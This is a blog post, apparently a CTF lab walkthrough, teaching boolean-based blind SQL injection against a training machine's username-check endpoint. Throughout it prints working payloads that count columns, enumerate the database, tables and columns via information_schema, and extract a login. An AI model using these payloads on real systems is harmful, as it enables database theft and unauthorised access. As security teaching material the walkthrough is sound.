boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Blind SQLi: Boolean Based

Boolean-based blind SQLi works with an app that only ever answers one of two ways. This note covers the idea and walks through level three of the SQL Injection Examples machine, where a username-check endpoint is enough to dump the database name, a table, its columns and a login.

Boolean Based

In boolean-based SQL injection, the response to each injection attempt can only have two outcomes: true/false, yes/no, on/off, 1/0, or anything else with just two states. That outcome tells us whether the payload worked or not. It looks like too little information at first, but with just those two responses it is possible to enumerate a whole database structure and its contents.

Practical

Level three of the SQL Injection Examples machine shows a mock browser with this URL:

https://website.thm/checkuser?username=admin

The page body is {"taken":true}. The endpoint copies a common signup-form feature: it checks whether a username is already registered so the user can pick another one. Because taken is true, the username admin is already registered. Changing the username in the address bar from admin to admin123 and pressing enter flips taken to false, which confirms it.

The Query Behind It

The SQL query being processed looks like this:

select * from users where username = '%username%' LIMIT 1;

The only input under our control is the username in the query string, so that is where the injection goes. Keeping the username as admin123, we append conditions that make the database confirm true things. Every time a condition is true, taken changes from false to true.

Find the Number of Columns

As in the earlier levels, the first job is finding the number of columns in the users table with a UNION statement. Start with one column:

admin123' UNION SELECT 1;--

The app answers taken as false, so one column is wrong. Keep adding columns until taken comes back true. Three columns is the answer:

admin123' UNION SELECT 1,2,3;--

Find the Database Name

With the column count known, enumeration can start, beginning with the database name. The built-in database() method combined with the like operator returns true only when the pattern matches.

admin123' UNION SELECT 1,2,3 where database() like '%';--

This comes back true because % on its own is the wildcard and matches anything. Changing it to a% makes the response go back to false, which confirms the database name does not start with the letter a. Cycle through letters, numbers and characters such as - and _ until one matches. This payload returns true, so the name starts with s:

admin123' UNION SELECT 1,2,3 where database() like 's%';--

Then move on to the next character ('sa%', 'sb%', 'sc%' and so on) until the next true. Repeating this for every character gives the full database name: sqli_three.

Find the Table Name

With the database name, table names can be enumerated the same way through the information_schema database:

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';--

This looks in the tables table of information_schema for rows where the database name is sqli_three and the table name starts with a. The response is false, so no table in sqli_three starts with a. As before, cycle through letters, numbers and characters until there is a positive match.

The search ends with a table named users, which this payload confirms:

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name='users';--

Find the Column Names

Next, enumerate the column names in users so it can be searched for login credentials. This uses information_schema again, this time the columns table, where the database is sqli_three, the table is users, and the column name starts with a:

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';

Cycle through characters until something matches. Because there are several columns to find, each one found has to be excluded in the payload so the same column is not discovered again. For example, once id is found, append it like this:

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';

Repeating this three times gives the columns id, username and password.

Find a Username and Password

Now the users table can be queried for credentials. First find a valid username:

admin123' UNION SELECT 1,2,3 from users where username like 'a%

Cycling through all the characters confirms the username admin. With the username known, the same approach finds the password:

admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%

Cycling through all the characters gives the password 3845.

The username and password enumerated through the blind SQL injection can then be used on the login form to get to the next level.